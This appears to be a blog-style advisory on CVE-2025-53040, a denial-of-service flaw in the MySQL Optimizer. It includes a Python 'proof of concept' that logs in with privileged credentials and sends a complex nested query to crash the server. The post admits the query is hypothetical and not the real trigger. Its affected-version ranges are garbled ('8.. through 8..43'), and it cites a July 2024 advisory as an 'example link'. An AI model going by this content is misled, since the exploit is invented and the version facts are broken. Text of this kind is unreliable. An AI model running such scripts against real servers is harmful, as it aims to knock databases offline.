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Overview

A critical new vulnerability, CVE-2025-53040, has been identified in the MySQL Server—specifically in the Optimizer component. Supported Oracle MySQL versions affected include 8.. through 8..43, 8.4. through 8.4.6, and 9.. through 9.4.. This flaw is rated as Easily Exploitable and can result in complete server downtime (Denial of Service/DOS) if abused by an attacker with high privileges and network access.

If you operate a MySQL server on any of these versions, you need to read on and patch as soon as an update is available.

Impact: Server hang or repeatable crash (global denial of service)

- CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

- References

- Oracle Critical Patch Update Advisory - July 2024 (example link)
- MySQL Change Log

What is the MySQL Optimizer and Why does it Matter?

The MySQL Optimizer is a core internal component responsible for determining the best way to run your SQL queries. When you run a SELECT, JOIN, or any query, the Optimizer figures out the fastest path to the answer—considering indexes, possible scans, join order, and more.

If something goes wrong inside the Optimizer, it can crash the entire MySQL Server process.

How Does the CVE-2025-53040 Vulnerability Work?

Attackers with high privilege database accounts—such as root, DBA, or custom users with similar rights—can send specially crafted queries that will trigger a bug in the Optimizer.

Successful exploitation repeatedly hangs or crashes the MySQL server. Because the attacker only needs access to an account with high privileges and network access, this can be used remotely within your data center or managed services.

Even though the vulnerability does not allow data theft or corruption, any user or application depending on MySQL will be down until the server is restarted.

Sample Exploit (Proof of Concept)

Below is a minimal Python exploit using the popular mysql-connector-python module. It requires attacker-level permissions and simply sends a crafted query that could trip the bug.

*This sample is based on observed patterns, not the exact underlying code, as Oracle hasn’t publicly described the precise payload. Replace the SQL string with the specific crash-inducing query as more information surfaces.*

import mysql.connector

connection = mysql.connector.connect(
    host="target_mysql_host",
    user="privileged_user",
    password="strong_password",
    database="test"
)

cursor = connection.cursor()

# Hypothetical crash-inducing query targeting the Optimizer.
# This could be a complex nested SELECT or JOIN:
try:
    cursor.execute("""
        SELECT *
        FROM
            (SELECT t1.a, t2.b
            FROM huge_table1 AS t1
            JOIN (SELECT a, b FROM huge_table2 WHERE b IS NOT NULL) AS t2
            ON t1.a = t2.a
            WHERE t1.c IN (SELECT c FROM huge_table3 GROUP BY c HAVING COUNT(*) > 1)
            ) AS subquery
        WHERE subquery.a IN (SELECT a FROM huge_table4 WHERE d > 100)
    """)
    result = cursor.fetchall()
    print(result)
except Exception as e:
    print("Crash or Hang triggered!", e)

cursor.close()
connection.close()

Note: You must have privileges to SELECT (and possibly to execute complex queries or stored procedures).

Why is This Exploit Dangerous?

- Crashes MySQL Completely: If you run this as a cron, script, or via an exposed tool, you can repeatedly freeze or crash the DB, requiring manual intervention.

Availability Impact: All applications depending on MySQL are impacted; business stops.

- Privilege Abuse: Insiders or attackers with hijacked high-priv access can execute the attack over the network.

Apply Patches

- Regularly check Oracle’s Critical Patch Updates page.

Test Before Deploying

- If you cannot patch right away, consider filtering certain types of complex queries at the application level or via proxies like ProxySQL.

In Summary

- CVE-2025-53040 puts MySQL servers at real risk of full Denial of Service by insiders or advanced attackers with high privileges.
- If your team runs MySQL 8..x, 8.4.x, or 9..x, audit and patch immediately when updates are available.
- This bug doesn’t allow data theft, but *anyone with the right access can knock your server offline*.

Stay Informed

- Oracle Security Alerts
- Oracle MySQL Blog
- MySQL Vulnerability Database (cvedetails.com)

If you are affected, take this CVE very seriously. Make sure your privilege planning, network security, and patch management are up to date—and spread the word to your DBAs and admins.


*Written exclusively for this audience. Please do not redistribute or republish this long-read post verbatim without credit.*

Timeline

Published on: 10/21/2025 20:20:41 UTC
Last modified on: 10/23/2025 16:08:00 UTC